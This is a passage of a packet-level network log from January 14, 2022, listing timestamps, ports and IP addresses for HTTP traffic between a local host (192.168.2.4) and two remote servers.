Jan 14, 2022 20:30:12.413722992 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.413731098 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.413784027 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.413840055 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.414026022 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.414120913 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.414290905 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414314032 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414333105 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414357901 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414371967 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414385080 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414395094 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.414402008 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414414883 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414431095 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414429903 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.414443970 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414458036 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414469004 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.414473057 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.414509058 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.414558887 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.418078899 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418092966 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418092966 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.418107986 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418121099 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418133020 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418145895 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418163061 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.418179989 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418195009 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418204069 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.418211937 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418225050 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418234110 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.418241978 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418256044 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418267965 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.418271065 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418288946 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418301105 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418314934 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.418323994 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418337107 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418353081 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418358088 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.418379068 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418380976 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.418390989 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.418414116 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.418453932 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.419064999 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.419734001 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.421303034 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.421319008 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.421340942 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.421353102 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.421401978 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.421442986 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.422166109 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.422636032 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.422651052 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.422669888 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.422682047 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.422705889 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.422749043 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.422880888 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.422894955 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.422910929 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.422923088 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.422935963 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.422950983 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.422976971 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.422977924 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423005104 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423021078 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423034906 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423053980 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423062086 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423078060 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423104048 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423116922 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423116922 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423144102 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423151016 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423156977 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423170090 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423211098 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423224926 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423237085 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423254013 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423266888 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423283100 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423284054 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423296928 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423311949 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423315048 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423340082 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423341036 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423357010 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423372030 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423386097 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423408985 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423465967 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423784971 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423799038 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423818111 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423830032 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423841953 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423871994 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423885107 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423902035 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423907042 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423913002 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423928976 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423939943 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.423949003 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423988104 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.423998117 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424011946 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424026966 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424057007 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.424645901 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424662113 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424665928 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424688101 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424700975 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424710035 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.424715042 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424734116 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424750090 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.424761057 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424774885 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424791098 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.424792051 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424810886 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424823999 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424824953 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.424837112 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424849987 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424865007 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424874067 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.424877882 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424891949 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424921036 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.424942017 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.424969912 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.424982071 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425025940 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425030947 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425045013 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425061941 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425075054 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425091982 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425092936 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425106049 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425121069 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425122976 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425133944 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425149918 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425178051 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425198078 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425209999 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425256968 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425260067 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425298929 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425317049 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425328970 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425340891 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425354004 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425357103 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425370932 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425386906 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425389051 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425401926 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425415039 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425421953 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425431013 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425445080 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425456047 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425470114 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425474882 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425482035 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425493002 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425494909 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425508022 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425523043 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.425530910 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425554037 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.425579071 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.428039074 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.428828955 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.435206890 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435228109 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435251951 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435272932 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435296059 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435296059 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.435307980 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435332060 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.435363054 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.435596943 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435615063 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435636044 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435652018 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435663939 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.435672998 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435687065 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.435694933 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435704947 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.435749054 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.435791969 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435810089 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435832024 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435848951 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435858965 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.435870886 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435888052 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.435898066 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.435947895 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.436582088 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.437335968 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.437412024 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.444997072 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.445015907 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.445034981 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.445048094 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.445060968 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.445076942 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.445092916 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.445096970 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.445103884 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.445118904 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.445147038 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.445173025 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.451524973 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451540947 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451564074 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451587915 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451607943 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451617956 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.451620102 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451637030 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451654911 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451658964 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.451673985 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451689959 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.451698065 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451710939 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451723099 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.451756954 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.451879978 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451899052 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451920986 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451937914 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451948881 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.451961040 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451977015 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.451984882 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.452024937 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.454516888 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454531908 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454550028 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454562902 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454576015 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454590082 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454605103 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454617977 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454632998 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.454634905 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454651117 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454664946 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.454667091 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454679966 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454689026 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.454695940 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454708099 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454720974 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454736948 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454741955 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.454751015 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454761982 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.454766989 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454781055 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454796076 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454803944 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.454808950 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454822063 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454834938 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.454859972 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.454906940 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454926014 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454942942 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454955101 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454971075 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454981089 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.454982996 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.454996109 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.455008030 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.455008984 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.455023050 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.455035925 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.455035925 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.455048084 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.455058098 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.455063105 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.455084085 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.455106974 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.457161903 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.457178116 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.457197905 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.457211018 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.457226992 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.457240105 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.457351923 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.457355022 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.457369089 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.457406998 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.472928047 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.473285913 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.515137911 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.515157938 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.515177011 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.515188932 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.515202999 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.515214920 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.515228033 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.515237093 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.515239954 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.515254021 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.515266895 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.515278101 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.515312910 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.532495975 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.554826021 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.554862022 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.554902077 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.554934025 CET	80	49919	8.209.70.0	192.168.2.4
